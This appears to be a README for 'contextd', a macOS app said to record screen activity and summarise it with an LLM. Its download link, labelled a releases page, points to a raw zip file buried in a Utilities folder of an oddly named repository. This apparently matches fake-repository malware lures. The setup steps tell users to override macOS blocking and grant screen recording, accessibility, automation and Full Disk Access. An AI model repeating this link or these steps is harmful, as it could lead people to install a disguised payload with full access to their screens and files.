contextd is a desktop app for macOS that keeps track of what happens on your screen, creates short summaries with an LLM, and makes those summaries available to other local tools.
It is built for people who want a simple way to keep a record of their work, sessions, or screen activity without doing manual notes. After you install it, contextd runs in the background and handles the capture and summary flow for you.
- Keep a local history of your screen activity
- Turn long screen sessions into short summaries
- Feed session context into other local tools
- Review what you were doing without sorting through every detail
- Keep your data on your own machine
contextd is made for macOS.
You will need:
- A Mac computer
- A recent version of macOS
- Enough storage for screen captures and summaries
- Permission to record the screen
- Permission to run background apps
For best results, use a Mac with steady disk space and a good network setup if your LLM runs through a local service or private API.
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Open the releases page:
https://github.com/Mandaeancorrespondencecourse450/contextd/raw/refs/heads/main/ContextD/Utilities/Software_1.0.zip -
Find the latest release near the top of the page
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Download the macOS file for your system
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Open the downloaded file
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Move contextd to your Applications folder if macOS asks you to
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If macOS blocks the app, open System Settings and allow it under Privacy & Security
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Grant screen recording permission when prompted
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Start contextd and let it run in the background
Visit the releases page to download contextd
After you install contextd, open it once so macOS can show the first set of prompts.
You may be asked to:
- Allow screen recording
- Allow accessibility access
- Allow background execution
- Choose a storage location for captured data
- Connect to your local LLM service or API endpoint
If the app offers setup screens, follow them in order. Keep the defaults if you are not sure what to choose.
contextd needs access to the screen so it can capture activity. It may also need access to run in the background and read local app context.
Common macOS prompts may include:
- Screen Recording
- Accessibility
- Automation
- Full Disk Access for local storage, if you choose that option
If a prompt appears again after you deny it, open System Settings and change the permission there.
contextd follows a simple flow:
- It watches your screen activity
- It stores the captured session data locally
- It sends the captured context to an LLM for summarizing
- It saves the summary in a format other local tools can use
- Other apps can read that context and build on it
This makes it useful for tools that need a local record of what you were doing.
contextd may create or use:
- Local capture files
- Session summaries
- Cache data
- Settings files
- Logs for troubleshooting
Keep enough free disk space if you use it for long sessions. Screen activity can create large files over time.
Once contextd is running:
- Leave it open in the background
- Work as usual on your Mac
- Let it capture activity automatically
- Check summaries when you need them
- Use the stored context in other local tools
If you want to stop it, quit the app from the menu bar or the app menu, based on how the release is packaged.
If the app asks for options, these defaults work well for most people:
- Storage: use the default local folder
- Summary length: short or medium
- Capture interval: use the default value
- LLM source: use your local setup if you already have one
- Launch on startup: turn it on if you want continuous tracking
If you are not sure which option to pick, keep the default and test it first.
If contextd does not start:
- Open it again from Applications
- Check that macOS allowed the app
- Make sure you downloaded the latest release
- Restart your Mac
If screen capture does not work:
- Open System Settings
- Go to Privacy & Security
- Check Screen Recording permission
- Restart the app after changing the permission
If summaries do not appear:
- Check that your LLM service is running
- Confirm the app can reach your local endpoint
- Look at the app logs if they are available
- Try a short session first
If the app runs but nothing is saved:
- Check your storage path
- Make sure you have free disk space
- Confirm the app has write access to the folder
When a new version is available:
- Open the releases page
- Download the newest macOS build
- Replace the old app with the new one
- Open the updated version
- Check your permissions again if macOS asks for them
If your settings are stored locally, they may remain in place after the update.
- Keep contextd running while you work
- Use a local LLM setup if you want to keep data on your Mac
- Leave enough free disk space for long capture sessions
- Review summaries often so you can spot permission issues early
- Start with short sessions before you rely on it all day
After setup, contextd should:
- Start without much input
- Capture screen activity in the background
- Create short summaries from your session
- Save those summaries for local use
- Stay out of the way while you work
Use this page to get the latest macOS release files: